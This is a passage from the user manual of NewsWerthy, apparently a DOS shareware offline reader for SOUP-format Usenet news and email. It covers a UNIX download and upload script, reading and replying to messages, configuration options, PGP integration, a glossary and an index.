yourbbs.rep now! + rz + unzip -U yourbbs.rep + uqwk -m -n +L -RREPLIES + rm yourbbs.rep + fi + fi + + # Check for an existing packet + if [ -f "yourbbs.zip" ] + then + echo Warning - found an unsent yourbbs.zip file! + sz -u yourbbs.zip + fi + + # Copy your newsgroups file to a backup directory as a + # precaution + cp .newsrc backup + + 8 + + + # Collect your unread mail and news in SOUP format + # change -B8000 to -B0 for no limit on packet size + uqwk +m +n -z +L -B8000 + + # Zip it up, and delete files if successful + zip -m yourbbs AREAS *.MSG + + # Download it to your PC + sz -u yourbbs.zip + + The above file (soup) must be first transferred to your BBS + using the UNIX upload command rz at the UNIX prompt. + + Now you'll need to make the script executable and also make + the backup directory. To do this, enter the following at the + UNIX command prompt: + chmod u+x soup + mkdir backup + + You may also want to change all "yourbbs" entries to the + name of your BBS. + + If you have any problems getting the above to work, what + follows is further explanation of the script to help in + locating the trouble. If a particular command works + differently on your system, check the manual, for example + "man zip". All lines starting in #, except the first are + comments. + + Here are the commands used for replies: + + rz - Starts the upload of the YOURBBS.REP using the zmodem + protocol. If your communication package doesn't support + zmodem, change this to something like rx. + + unzip -U yourbbs.rep - The -U switch forces the files in the + archive to be uncompressed to uppercase, this may the + default, but is included just to be sure. + + uqwk -m -n +L -RREPLIES - The +L indicates SOUP format, the + -R contains the name of the file which points to the + messages files (R0.MSG, etc.). The -m and -n ensure no mail + or news is lost. + + rm yourbbs.rep - Deletes the reply packet. + + Here are the commands used for collecting news and mail: + + uqwk +m +n -z +L -B8000 - The +m and +n, indicate include + mail and news. The -z is there just in case someone has set + + 9 + + + the environment variable for Zipnews format on your host (-z + turns it off). + + zip -m yourbbs AREAS *.MSG - The -m deletes the AREAS and + *.MSG files once successfully compressed into the packet. + + sz -u yourbbs.zip - The -u unlinks (deletes) the packet once + successfully sent. + + + 2. DOWNLOADING THE MAIL PACKET FROM THE HOST (BBS) + ___________________________________________________________ + + Log onto your BBS and go to a UNIX command prompt. Then run + the above SOUP UNIX script from the command line like so: + soup download + If your communications program has auto zmodem disabled you + will need to start zmodem manually. The commands from the + script can also be entered one at a time to get the same + effect (skip the if then lines). + + + 3. UPLOADING A REPLY PACKET TO THE HOST (BBS) + ___________________________________________________________ + + Log onto your BBS and go to a UNIX command prompt. Then run + the above UNIX script from the command line like so: + soup upload + + If for some reason you encounter an error and your news is + lost before you get a chance to read it, simply enter the + following at the UNIX command prompt, to restore your news: + cp backup\.newsrc . + Then repeat the download process. Although this restores the + news pointers, any email that was collected, will be lost. + + + 4. READING THE MESSAGES IN THE MAIL PACKET + ___________________________________________________________ + + After hitting a random function key (if unregistered), you + have two ways to get started. You can use either the menus + at the top or the function keys at the bottom of the screen. + Besides the initial setup or odd command, the function keys + will be almost all you'll ever need. + + To prepare a packet for reading, select New Packet (F3). + Select the packet using the dialog and press Enter to + uncompress your mail and generate the necessary indexes. + + + 10 + + + Next, to read your news and mail, select Read News (F4). + Pressing the space bar will allow you to read your mail + sequentially from start to finish. If you read most + messages, you may want to select the "Esc to Index" option + from the Message Options dialog under the setup menu. + Otherwise use the "Standard" option and read the section on + USING THE KEYBOARD to select and read those you're + interested in. + + If you press the space bar to read a newsgroup, only unread + messages are shown. To see read, plus killed messages, press + the Enter key to read a newsgroup. + + NewsWerthy automatically puts mail from mailing lists into + separate "news" groups. It does this by reading the message + headers To:, Cc:, Sender: and Originator lines. This may not + work 100% consistently, because mailing lists aren't 100% + consistent. To help NewsWerthy be much more accurate in + separating your personal mail, be sure to enter your email + address in the Reply-To picklist (the Cc: line is checked + from this). To make the mailing lists more accurate, add + it's email address to the address book and check the mailing + list box. Your email is also put into a group called "all", + if you prefer to read it all together. + + One way to limit the messages you read is to generate kill + files by selecting Kill while reading the message. This + brings up a dialog that lets you choose between killing all + messages that match that subject or all messages from that + author. Wildcards can be used and are explained in the on- + line help. Kill files can only be used if you reading + messages in the data-basing mode. + + The message list defaults to a sort on the subject. This can + be changed temporarily to sorting on the date, author or no + sort as an aid in finding a message. A sort on none will + display the messages in the order they were saved to the + file, with the newest first. To change the sort, select Sort + Messages from the status line of the messages list. + + Messages are flagged read after you view them. This is + indicated by "READ" in the upper right of the message and an + asterisk at the beginning of each message list entry. Read + messages will be skipped if you're using the space bar, + otherwise use the Enter key to read messages marked with an + asterisk. The - and + keys can be used to go to a read + message. To mark all messages as read or unread in a + newsgroup, select the appropriate command from the + Newsgroups list (the first list displayed after selecting + Read Mail). + + 11 + + + If you come across a message that looks like gibberish, try + pressing Alt-R, to ROT-13, the message. Hitting ALT-R twice + restores a message back to its original state. + + If error messages occur while reading messages, the index or + book mark files may have become corrupt or deleted. Select + Restore Indexes from the News Incoming menu to generate new + indexes (*.IDX) and book marks (*.BKM) from the message + (*.MSG) files. You'll need to enter the filename of the + packet if not present in the input line that appears. The + name and extension is all that is required. + + + 5. SEARCHING MESSAGES IN THE MAIL PACKET + ___________________________________________________________ + + You can select the messages you read by selecting Find from + the message list. This brings up a dialog that lets you + search messages three ways. A search can find any matches in + the text, subject or author of the message. These can be + used separately or in combination, with the messages that + match appearing in a message list. More than one phrase can + be entered on an input line, by separating them with + semicolons (;). All searches are case insensitive (matches + either upper or lower case). + + When you use the find dialog, you may notice that some of + the input fields are already filled in. This is what I call + "smart searching". If you usually search a newsgroup for the + same text, NewsWerthy will remember this, and fill in the + field for you. In order for this to work, you need to do two + things: 1) Add the search string to the appropriate picklist + (open the picklist by pressing the down arrow key, then + press "Alt-A" to add it). 2) Select the search string from + the picklist and press Enter to start your search. If there + is no previous search string for the newsgroup, NewsWerthy + will fill in the fields with whatever was used last. + + Messages can be searched on the text portion of the message. + As an example, if you enter "10 speed;15 speed" (don't enter + quotes) then any message with either the phrase "10 speed" + or "15 speed" in it or in the subject will appear in the + Matches in message list. When you read the messages, the + line where the match occurred will be highlighted (only the + first match is highlighted). + + Messages can be searched on the message Subject or From + line. Messages that match anywhere in these lines will + appear in the Matches in message list. If a message doesn't + contain a From line, the To or Newsgroups line will be + searched instead. + 12 + + + + Text in a single message can be searched by pressing "X" for + Text search, from the message viewing screen. This operates + similar to the Find command. The line that contains a match + is highlighted in the center of the screen. This is useful + for finding something in the middle of a long message such + as a FAQ. Additional occurrences of the search phrase can be + found by hitting the "+" key. + + + 6. REPLYING TO A MESSAGE + ___________________________________________________________ + + While reading a message, select Reply, which will bring up a + dialog. Select Mail to send a private message, News to reply + in the newsgroup, Forward to send the message by email to a + friend or Mailing List (if an email message) to send a + message to a mailing list (the email address in the To: + line). Select Re-send Mail only from the auto-saved.replies + folder to add that message to the reply packet. The default + is to quote the message for all of the above, but Don't + Quote can be selected to start from scratch. To send a new + message use Post New Msg from the message list, or Send News + or Send Mail from the Mail Outgoing menu, not the Don't + Quote option. + + When a message is forwarded, a dialog lets you indicate who + you want to send it to. A few extra header lines are added + to indicate who the message was originally from. It is then + quoted and loaded into your editor. This gives you a chance + to delete a portion or add a note for the recipient. + + Read RFC1036 for detailed information on the message + headers, otherwise read on. Only the Newsgroups and Subject + are required, and should be entered in the Message Reply + Options dialog as follows: + + To - This is the email address of the recipient of the email + message. An alias from the address book can be entered here. + An entry from the address book can be selected by pressing + the down arrow key. + + Each alias in the address book must be unique and not + contain an "@" character, but can contain spaces. The email + address is substituted for the alias when the message is + sent. Multiple email addresses and/or aliases can be entered + on the email address line. The only limits being that not + more than 255 characters can be entered and it can't expand + to more than 1023 characters. Separate each address/alias + with a single comma and a space (, ). + + 13 + + + Cc - This is used to send a Carbon Copy to 1 or more email + recipients. The easiest way to send email to group of people + is as follows: Define an alias in the address book that + expands to all the email addresses in the group. Then enter + just the alias on this line. + + Bcc - Virtually the same as Cc, except that this line may + not appear in the header of each of the recipients messages. + + Newsgroups - The Newsgroup is filled in for you + automatically. To post to a different newsgroup, select one + from the pick list by pressing the down arrow key or enter + it in. To cross-post the message to several newsgroups, + separate each with a comma (,) and no spaces. Replying to a + cross-posted message will maintain the original distribution + unless you edit this line. + + Subject - NewsWerthy will add Re: to the current subject for + you. + + Followup-To - This is used to indicate a different newsgroup + for replies to be sent to. + + Keywords - A few well selected keywords identifying the + message can be entered. + + Summary - A brief summary of the message. + + Reply-To - To indicate an email address to send replies to. + + Organization - To indicate the organization you belong to. + + Extra Header - To add any headers lines not listed above. + You'll need to enter the name of the header ending with a + colon (:), a space, and the contents of the header line. + When adding a non-standard header line, start it with X-. + + To attach a file to your message select Attach File (Alt-F). + Then select which encoding method you want to use. + UUEncoding is probably the most universal format, but + XXEncoding is more likely to make it to the recipient of the + message un-altered. Choose Base64 if the recipient of the + message uses a reader that supports MIME. Large files will + be split into multiple messages of 850 lines each or about + 38k. There is a limit of 99 messages per attached file + (about a 4 meg file). I don't recommend adding a signature + to your message when using this option. NewsWerthy handles + this fine, but other decoders may not be able to re-create + the file, unless it is removed. + + + 14 + + + The editor you've entered in the Directories Setup is used + to enter the message. Save the file as a text (ASCII) file + and exit from your editor once you're done. Signatures can + automatically be appended to your messages. Simply use your + editor to enter into a file the text you want appended to + the end of each reply. Name this file NWERTHY.SIG and store + it in the work directory. + + When you're finished reading your messages, any replies + you've entered are compressed and stored in the Upload + Directory. If you've selected Auto-Save Reply the message is + also stored in the auto-saved.replies folder. + + + 7. POSTING A NEW MESSAGE TO A NEWSGROUP + ___________________________________________________________ + + Posting a new message is nearly the same as replying to a + message. The main differences are as follows: + + To post a message to a newsgroup, select Post New Msg from + the messages list. You'll need to enter a subject. Choose a + descriptive topic, something like Help me, isn't likely to + generate a lot of interest. + + You can also post a new message to a newsgroup by selecting + Send News from the Mail Outgoing menu. + + + 8. SENDING AN EMAIL MESSAGE + ___________________________________________________________ + + To enter an email message, select Send Mail (F7) from the + menu screen, enter an email address to send the message to + (or pick one from the picklist) and proceed the same as for + Post New Msg. + + + 9. REVIEWING & MODIFYING REPLIES OR STORED MESSAGES + ___________________________________________________________ + + Select Review Replies (F8) from the menu screen to read your + replies. Select Read Stored (F6) from the menu screen to + read messages saved to folders. + + While at the message list or message viewing screen, a + message can be deleted or edited. A reply can also be edited + by pressing R (Reply). When editing a reply, be careful what + changes you make to the message header. A temporary file + with an odd name ending in something like .AAA is created to + + 15 + + + edit the message. Select save and exit from your editor when + done. + + Once you delete a message, its gone forever, so make backups + if you can't afford to make mistakes. + + Replying to a reply, allows you to change any of the headers + using the same dialog that you originally created it with. + There are some restrictions though. The To line will be + truncated to 255 characters, but can be re-entered, if this + happens. The Extra Header line will only be automatically + added to the dialog if it is present in the picklist. If you + have added any header lines by manually editing the message, + they will be lost. + + + 10. SAVING MESSAGES + ___________________________________________________________ + + Selecting Save while viewing a message brings up a dialog. + The default is to save to a SOUP format (binary mail) + folder. If the current newsgroup name matches one in the + newsgroup pick list, it is displayed, otherwise whatever was + entered previously is used. The default can be used or one + can be selected from the pick list. + + If you'd rather append or overwrite all or part of the + message to a DOS text file, select Save to Text File. Use + the dialog to select or enter a DOS filename for saving. + Select the OK button to append or the Replace button to + overwrite the selected file. To save only a portion of a + message to a DOS text file, highlight it using Top (mark + top) and Bot (mark bottom), then save as described above. + You can press Alt-T from the message to go directly to Save + to File dialog. + + If the message contains an attached file, it can be saved to + a file by selecting Save Attached File (Alt-A). The dialog + that then appears works the same as the one to save to a + text file. NewsWerthy supports the 3 most popular formats + for DOS PC's, which are UUEncode, XXEncode and Base64. + Base64 is part of MIME, and the only support for MIME found + in NewsWerthy. If the attached file spans multiple messages, + simply save them in order, appending them to the same file, + to recreate the binary file. + + + + + + + 16 + + + 11. PRINTING MESSAGES + ___________________________________________________________ + + Select print, to print the current message to your printer. + If your printer is off-line, you'll be prompted until you + either turn it on or select cancel. To print only a portion + of a message, highlight it using Mark Top and Bottom, then + select print. + + If you want the last page printed to eject, select this + option from the Setup menu, in the Printer Options dialog. + + + 12. UQWK COMMANDS + ___________________________________________________________ + + Uqwk provides commands to unsubscribe, subscribe, catchup or + list newsgroups. A shell command can also be run, with the + output from standard output mailed back to you. Normally you + would enter an email message to uqwk. + + To simplify sending commands to uqwk, select Uqwk Cmds from + the newsgroup list. Use this dialog as many times as you + like. Some other readers are limited to only one message to + uqwk. NewsWerthy avoids this limitation by saving your + commands and then entering them in one message, and placing + this at the end of the reply files. + + The current newsgroup is saved one key away in the Uqwk + dialog. To unsubscribe to a newsgroup select Uqwk Cmds, + Press down arrow and press Enter twice. That's all there is + to it. + + + 13. USING THE KEYBOARD + ___________________________________________________________ + + The following keys can be used in dialog boxes. + + Esc - Exit this screen and go back to the previous + screen (exits program when menu is displayed). + Cancels any changes made. + + Enter, - Enters any changes made or chooses the selected + button, same as selecting a button with the + mouse. + + Tab - Go to next option + + Shift-Tab - Go to previous option. + + 17 + + + Down arrow - Opens up a history or pick list if available. + + Hot Key - Press the letter that is highlighted of the + item desired. If the cursor is presently in an + input box, press and hold the Alt key, then the + highlighted letter. + + Supports some word star control key combinations one of + which is: + + Ctrl-y - Delete line. + + + The following keys are used when viewing a message or list. + + Esc, Del - Displays the message list if viewing a + message, or the newsgroup list if viewing + the messages list. + + Enter - Go to next message unread message or + selects the message from a list. + + Tab - Go to next subject. + + - - Go back one message. + + + - Go forward one message (even if read). + + , Ins - Next page or next unread message if at end + of message. + + Page Down - Next page, stops at the end of the message. + + Page Up - Previous page, stops at the first line of + the message header if reading a message. + + Ctrl-Page Down - Goes to the last line in the message or + list. + + Ctrl-Page Up - Goes to the first line in the message. + header or list. + + Home - Goes to the start of the message or the + first line displayed in a list (not + necessarily the first line in the list). + + End - Goes to the end of the message or the last + line displayed in a list (not necessarily + the end of the list). + + + 18 + + + Arrows - Arrows scroll text up and down, right and + left. + + Ctrl-arrows - Right and left arrows in combination with + the control key, goes to the end of the + line or the start of the line. + + Note that by turning off the Num Lock on your keyboard, + messages can be read using only the keys on the keypad. The + Ins key is used to go to the next message instead of the + space bar, and the Del key instead of the Esc key using this + method. + + Pick lists are used to save information on disk, such as + newsgroup names, email addresses, search phrases and such. + They can be accessed by selecting an input line, then + pressing the down arrow. If its a pick list (instead of a + history list), you'll see several commands on the hint line. + These are as follows: + + Add - Press Alt-A to add an item to the pick list. + Duplicates aren't allowed. + + Edit - Press Alt-E to Edit an item in the pick list. + + Delete - Press Alt-D to delete an item from the pick list. + + + 14. USING THE MOUSE + ___________________________________________________________ + + I won't go into too much detail, but here is how to use the + mouse with NewsWerthy: + + The message or a list can be scrolled by clicking on the up + or down arrow on the scroll bar to the right of the window. + Hold the mouse button down while pointing at the position + icon and slide it up or down to change position in the + window. Clicking above or below the position icon, scrolls + up or down a page at a time. + + Windows can be closed by clicking on the close icon in the + upper left corner. + + Buttons and other objects are selected by a single click on + them with the mouse pointer. + + An item in a list may open a new window if double-clicked. + For example, in the message list, double-click on a subject + to read that message. Double-clicking has the same effect as + pressing the Enter key. + 19 + + + + Pressing the right mouse button with the pointer in the + center portion of the window, has the same effect as + pressing the Esc key. + + Double-clicking with the left mouse button on the message + text is the same as pressing the Enter key. + + Clicking on any item in the status line (the bottom line) + has the same effect as pressing the hot key. + + + 15. CONFIGURATION + ___________________________________________________________ + + Should you need to verify or create directories, you can + press Ctrl-S for a Dos Shell. + + Alt-c will get you to the configuration menu from the menu + screen. + + The Directories & Utilities dialog contains the following: + + 1. Download Directory - Enter the drive and directory where + the mail packet is located. A filename like ESKIMO.ZIP + or ESKIMO*.ZIP can be included too. Including the + filename in the registered version causes the file + dialog to be skipped, and instead goes directly to + unzipping the mail packet. + + 2. Upload Directory - Press Tab to move to this field. Enter + the drive and directory where your communication + program expects to find files to upload. The reply + packet will be placed here and will be named similar to + the mail packet, except the extension will be .REP. I + named my mail packet ESKIMO.ZIP which then translates + to ESKIMO.REP for the reply packet. + + Or instead, include the full pathname of the reply + packet to always create the same name for the reply + packet, no matter what the name of the mail packet. + + 3. Work Directory - Press Tab to move to this field. Make + this a subdirectory of where NWERTHY.EXE is stored. + Something like C:\NWERTHY\ESKIMO will work fine. While + reading messages, files in this directory are read, so + be sure to put this one on the hard drive. Don't use a + ram drive, if you want NewsWerthy to remember your last + session. This directory will be created if it doesn't + already exist. + + 20 + + + 3. Folders Directory - Press Tab to move to this field. Make + this a subdirectory of where NWERTHY.EXE is stored. + Something like C:\NWERTHY\FOLDERS + + 4. Text Editor - Press Tab to move to this field. The editor + is only needed if you plan to edit files or reply to + messages. Enter the drive and directory where your + editor can be found. Select an editor that can handle + lines longer than 80 characters. Also error handling + works best if the editor returns an error level other + than 0 on failure. No matter what editor you chose, + make sure you always save as a text (ASCII) file. + + The Message Options dialog contains the following: + + 1. News Quote or Mail Quote Format - The first line of the + quoted text can contain information from the quoted + message's header, such as the name of the author or the + message Id. The newsgroup name can also be included. + The following variables can be used: + + %A Address (Email) + %D Date + %F Full address + %G Groupname + %M Message Id + %N Name of author + + Examples: + On %D in %G you wrote: + In %M, %F wrote: + + The above would expand to: + + On 26 Aug 1994 08:30:00 -0800 in alt.usenet.offline- + reader you wrote: + + In <2megq8$452@agate.berkley.edu>, William Werth + (billw@eskimo.com) wrote: + + Note: %M is not present in an email message + + 2. Quoting Characters(s) - When replying to a message, the + text of the message can be quoted. Up to two characters + can be added to the beginning of each quoted line. To + add a space use the underscore (_). + + For example ">_" would add a ">" character and a space + at the start of each quoted line. + + + 21 + + + 3. Word Wrap - Select this option to avoid having to scroll + horizontally, to read lines longer then 78 characters. + They will wrap around to the next line instead. This + also will expand tabs to 8 spaces instead of one space. + + 4. Quote with Initials - When replying to a message, the + text of the message can be quoted. In addition to the + two characters that can be added to the beginning of + each quoted line, the authors initials can be added. + + 5. Message Reading Style - There are two ways to read + messages. The first "Standard" displays a message, then + returns to the message list, where you can select the + next message to view. You'll probably prefer this if + you are reading only a few of the messages. The second + "Esc to Index" displays a message, then goes to the + next unread message. Esc must be pressed to see the + message list. You'll probably prefer this if you are + reading most of the messages. + + 6. Message Threading Style - Message subjects (along with + number of lines and the author) are displayed in a + selection list. There are two ways to sort the subject + and three ways to display it. + + The first sorting method puts all subjects starting + with "Re:" with other messages starting with R (this is + the "Normal" sort). The second method ignores the + "Re:", and sorts on the text that follows, grouping + replies with the original message (this is the "Don't + sort on Re:" sort). + + The second display method shows subjects without the + "Re:" (this is the "Don't display Re:" sort). The third + display method displays the subjects without the "Re:", + and one ">" appended in front of the subject for each + reference, in the References: line (this is the + "Indicate thread depth" sort). A maximum of ten ">" + will be added. This gives an indication of how long the + thread has been active. If it is an email message + instead of in a newsgroup, the subject with the "Re:" + will be displayed for this last option. + + The Data-basing Options dialog contains the following: + + 1. Expiration Options - There are four different ways to + expire a message. When a new packet is opened, expired + messages are deleted. These options can be applied to + an individual newsgroup or from the Setup menu to apply + to all newsgroups. + + 22 + + + Expire All Messages - This expires all messages in a + newsgroup. If selected from the Setup menu, this puts + NewsWerthy in packet mode (non-data-basing mode). + + Expire Old Messages - This expires all messages older + than the "Expire Old Messages (Days)" amount. + + Expire Read Messages - This expires all read messages. + + Expire Killed Messages - This expires all messages + marked killed by matching entries in a kill file. + + Save Read Messages - This saves read messages to the + folder named in "Save Read Messages to Folder" entry. + Saved messages are not deleted, and will not be saved, + if they have been previously saved. + + 2. Expire Old Messages (Days) - Any messages older than this + number of days will be expired if "Expire Old Messages" + is also selected. + + 3. Max. Messages in Newsgroup - When the number of messages + in a newsgroup exceeds this amount, the oldest messages + will be expired. New messages are then added, so the + actual number of messages in a newsgroup can exceed + this amount. + + The above options are also displayed at the top of the + screen for the current newsgroup while reading messages. The + options takes affect if set in the individual newsgroup or + in the Setup menu for all newsgroups. + + 4. Save Read Messages to Folder - Select a folder from the + picklist, where you want all read messages to be saved. + The messages will only be saved if "Save Read Messages" + is also selected. The message is not saved until a new + packet is opened. + + The Printer Options dialog contains the following: + + 1. Lines to print per page - This is the number of line to + print per page for long messages. A printer that prints + using continuous feed paper usually prints 66 lines per + page. Subtract the number of lines you want for the top + and bottom margin and enter that number for this + setting. If you prefer no page breaks, set this to 0. + + 2. Top Margin - The number of blank lines to print at the + top of every page. + + + 23 + + + 3. Eject Last Page - Select this to have the last page of + the message ejected when printed. + + The Colors Setup dialog - Colors can be easily changed using + the mouse, or through a combination of the tab and + arrow keys. Try changing only one color at a time and + then see its effect. Some changes effect only one + screen, but most change a similar type of object across + all screens. There is also usually more than one place + where a color can be changed in the Colors dialog. Of + course this is only an option if you have a color + monitor. + + + 16. VIEWING A FILE + ___________________________________________________________ + + To view a text file select View File (F5) from the File + Menu. Use the dialog to select a file. See USING THE + KEYBOARD for the keys to use (same as those for a list). + + + 17. ABOUT NEWSWERTHY + ___________________________________________________________ + + The replies to messages you enter are stored in several + files ending with a .MSG extension. Replies to newsgroups + are in R0.MSG. Mail replies are in R1.MSG. UQWK commands are + in R2.MSG. Information for UQWK (or whatever you're using to + process the SOUP reply packet) about the above files is + stored in a REPLIES file. These are all zipped up + automatically and stored in the upload directory under a + file named the same as the SOUP packet, but ending in a .REP + extension. If you were to manually create this rep packet + you would enter: PKZIP YOURBBS.REP R?.MSG REPLIES at the DOS + prompt. If the reply packet already existed you would add + the -u switch to the above. Replies are deleted when a new + packet is uncompressed. + + When an external program is run or the DOS shell is used, + all but a few kilobytes of the executable is saved + temporarily to either EMS, XMS or to disk, leaving more + memory for a DOS shell or an external program like PKZIP. To + make swapping more efficient (when there is no EMS or XMS + memory) be sure to have either TEMP or TMP defined in you + autoexec.bat file. These environmental variables are used + for the swap file, and also for any temporary files created + for editing a message. + + You will notice some files in your work directory with the + extension .PL4, .PL5, .BKM, .DAT, .MSG and .IDX. Those + 24 + + + ending in .PL4 and .PL5 are used to keep track of the kill + files. Those ending in .BKM are used to keep track of which + messages have been read. Those ending in .IDX contain the + index information. Those ending in .DAT contain information + about the newsgroups in the AREAS file. Those ending in .MSG + are created by uqwk. Those ending with .PL and a number + contain the pick lists. + + Once you've registered NewsWerthy, the file NWERTHY.KEY is + generated. Don't delete this, else you'll have to enter your + registration data again. + + You will notice that NewsWerthy doesn't put any .BAK files + (backup files) in your work directory. This saves space and + time but the trade-off is that if a disk error should occur + while deleting or editing a message, the data could become + corrupt or lost in that file. If you have critical + information saved, I highly recommend that you make backups + before editing or deleting any messages. + + The length of messages NewsWerthy can read is limited by the + amount of free conventional memory in the shareware version. + If a message is too long to fit in memory, you'll be given + the option to save it to a file. + + + + IV. EXAMPLE USES OF NEWSWERTHY + ___________________________________________________________ + + In this section, I'll give examples of specific applications + of using NewsWerthy. If you would like to contribute to this + section, send me email about how you use NewsWerthy. + + + 1. SEVERAL PACKETS, ONE REPLY PACKET + ___________________________________________________________ + + You may want to read several packets, generate replies, and + then upload a single reply packet. There are at least two + possible ways to do this: + + 1) If the news packets all have the same name, just reply no + when prompted to delete the reply packet, and you can keep + adding to it. + + 2) If the news packets have different names, you will need + to enter the full pathname of the reply packet for the + Upload Directory, in the Directories & Utilities setup + dialog. This will cause all replies to be added to this one + reply packet. + 25 + + + + + 2. WITH PGP + ___________________________________________________________ + + Their are several ways to use PGP (Pretty Good Privacy) with + NewsWerthy: + + 1) I've included a batch file donated by a NewsWerthy user + (it requires DOS 6.0 or better to run). I've called this + pgpshell.bat. You'll want to edit it to include the name of + your editor. In setup enter the pathname of this batch file + for the Text Editor. When a message is edited the batch file + will offer you a choice as to what you want done to the + message. Then it calls your editor and you enter your + message. And finally, the batch file executes the proper pgp + commands to perform the desired function. If your not using + PGS shell with PGP, you'll need to modify the batch file + further. + + Last I checked, PGS was available in the security directory + of SimTel as pgs099g.zip. + + 2) Another option is to use AutoPGP. This is another shell + for PGP that allows you to add commands (directives) to your + replies and then modifies them according to those commands. + + AutoPGP is available at SimTel in the off-line directory as + apgp212.zip. The next version of AutoPGP should be setup to + automatically configure itself for use with NewsWerthy. + + + 3. WITH LAPTOPS + ___________________________________________________________ + + Many laptops have what is called a grey scale display. This + looks similar to monochrome, but NewsWerthy will detect this + as a color display. To make NewsWerthy detect this as a + black & white display, for easier viewing, use DOS's mode + command. + + There are two ways to do this. Either run the command "mode + bw80" just before running NewsWerthy, or put this command in + a batch file along with the command to start NewsWerthy, and + run the batch file. + + + 4. WITH TAGLINE MANAGERS + ___________________________________________________________ + + There are several of these available at Simtel ftp sites. + 26 + + + + One which is easy to use is SigMX 3.30. It lets you pick + from a list of taglines to use, and you can change the + signature file by entering its filename. This is found in + the SimTel/msdos/offline directory as SMX330.ZIP. The error + checking for finding files it uses is poor, but other than + that it works good. Make sure you indicate the correct + location of the signature file. I don't recommend you use + the same signature file used with NewsWerthy (NWERTHY.SIG). + You'll want to make one that is formatted with shorter lines + since SigMX puts the sig on the left side and a tagline on + the right. You can copy SigMX's files into the same + directory as NewsWerthy if you like. + + 5. WITH MULTIPLE USERS + ___________________________________________________________ + + This feature is currently only available in the protected + mode version. + + NewsWerthy defaults to saving its setup information in a + configuration file named NWERTHY.CFG. To use other setups, + start NewsWerthy like so: + + NWERTHY SETUP2.CFG + + If you only want to make a few changes, copy the default + configuration file to the new file, then start NewsWerthy as + shown above, and make the changes. + + To use NewsWerthy with multiple users, simply create a + configuration file for each, and then each user starts + NewsWerthy with the appropriate configuration file. Make + sure that each user has a different work directory in their + setup information. + + This feature can be used whenever you need to have a + different setup, such as reading news from several BBS's + where you'll need a separate work directory for each. + + + 5. READING THE DATA-BASE WITH THE NUMBER KEYPAD + ___________________________________________________________ + + You can read and navigate through a packet with the number + pad almost exclusively. All the normal navigation keys are + there, plus I've assigned the function of the space bar to + the Ins key, the Del key acts like the Esc key, and the * + key is the same as All Read. + + + 27 + + + If you read a lot of messages, you may find this useful to + avoid strain on your hand. + + The order of the newsgroups can be changed by pressing Shift + and the up or down arrow key. + + If I only read a newsgroup occasionally, and don't want to + save any messages, I'll use the "Expire All Messages" + expiration option. When I'm done reading messages in the + group I'll press Del to exit from it. + + If I want to save old messages, but don't read all the + messages in the newsgroup, I'll use the "Expire Old + Messages" expiration option. When I'm done reading messages + in the group I'll press * to exit from it, marking all + messages as read. + + If I want to be sure to read all messages in a newsgroup, + but don't want to save them once read, I'll use the "Expire + Read Messages" expiration option. When I'm done reading + messages in the group I'll press Del to exit from it. + + If I'm reading my personal mail, I'll use the "Save Read + Messages" expiration option. This way I'll save all messages + sent to me. If the is a junk letter to me, I'll delete it so + it won't be saved to a folder. If I want to save it in a + different folder, I'll save it after reading it, so it won't + be saved to the folder setup in the Data-basing Options + dialog. + + + + V. GLOSSARY + ___________________________________________________________ + + ASCII text file - A file made up of only ASCII text + characters that represent numbers, letters, spaces, + line feeds and the like. The file name will generally + end with the .TXT extension (but could be anything). + + Base64 - Part of the MIME format. This is just one of many + formats it supports to transfer information without + using any 8-Bit characters. + + Bulletin Board - Also known as a BBS. A PC running a program + that allows other computers to connect through the + phone line. Once connected, a person can access + messages, files, games, etc. This may also be referred + to as the host system. + + + 28 + + + Downloading - Copying a file from a Bulletin Board to your + PC. + + Hot key - Normally this is either a highlighted letter or + the first letter of a selection that will cause that + option to be selected (hitting the return key is not + required). + + MIME - This stands for Multipurpose Internet Mail + Extensions. The only support for MIME in NewsWerthy is + attached files using Base64. + + Off-line - No connection between your PC and a Bulletin + Board, the opposite of on-line. + + Off-line mail reader - Allows reading of messages from a + Bulletin Board while not connected to the Bulletin + Board. + + On-line - Your PC connected to a Bulletin Board via your + modem and communications software running on your PC. + + Pathname - The drive, directory and filename of where a file + can be found. + + PC - Personal Computer, typically an IBM compatible or other + popular type. + + QWK format - An off-line mail format that is incompatible + with the SOUP format. This format contains CONTROL.DAT, + MESSAGES.DAT, *.IDX files, plus several other files. + NewsWerthy can't read messages in this format. + + Shareware - Try before you buy software, generally you have + 30 days to try it out before sending your money or + discontinue using your copy. You are encouraged to + share it with friends and associates, provided that + copies are distributed in their complete and unmodified + form, and no amount is charged for the program, except + to cover distribution costs. + + Shell to DOS - A temporary exit to the DOS prompt to run a + program or a DOS command. Return to the previous + program by entering exit. + + Uploading - Copying a file from your PC to a Bulletin Board. + + + + + + 29 + + + + + VI. INDEX Finding text in message 12 + + Msg 11 Folders directory 7, 21 + - Msg 11 Grey scale display 26 + Address book 13 Help 6 + Alias 13 Hot Key 18, 29 + ASCII text file 28 Introduction 2 + Attach File 14 Keyboard usage 17 + Auto-Save Reply 15 Keys 17 + Backup files 25 Kill 11 + Base64 14, 28 Mail packet + Bot 16 creating 8 + Bulletin board 28 download directory 6, 20 + Colors 24 downloading 10 + Configuration 20 Mailing lists 11 + CONTROL.DAT 29 Mark as Read 11 + Cross-post 14 Mark as Unread 11 + Data-basing Options 22, 28 Mark Bottom 17 + Delete Message 15 Mark Top 17 + Directories Message + download 6, 20 attaching a file 14 + folders 7, 21 deleting 15 + upload 6, 20 editing 15 + work 7, 20 finding text in 12, 13 + Disclaimer 5 posting 15 + DOS shell 29 printing 17 + Download directory 6, 20 quote formats 21 + Downloading a file 28 read flag 11 + Downloading mail packet 10 reading 11, 18 + Edit Message 15 replying 13 + Editor 7, 21 saving 16 + Email searching 12 + reading 10 sorting 11 + sending 15 Message Header + Entering an email message 15 Bcc(Blind Carbon Copy) 14 + Environment variable Cc(Carbon Copy) 14 + TEMP 24 Extra Header 14 + TMP 24 Followup-To 14 + Expiration Options 22 Keywords 14 + Expire All Messages 23 Newsgroup 14 + Expire Killed Messages 23 Organization 14 + Expire Old Messages 23 Reply-To 14 + Expire Read Messages 23 Subject 14 + Save Read Messages 23 Summary 14 + F1 key 6 To 13 + Features 2 Message reading style 22 + File extensions Message threading style 22 + .BKM 25 MESSAGES.DAT 29 + .DAT 25 MIME 29 + .IDX 25 Mode command 26 + .MSG 24 Mouse 19 + .PL 25 right button 20 + .REP 24 30 Multiple users 27 + + + + + New Packet 10 Shareware 29 + Newsgroup Shell to DOS 29 + catchup 17 Signature file 15 + listing 17 Smart searching 12 + subscribing 17 Sort Messages 11 + unsubscribing 17 SOUP script 8 + 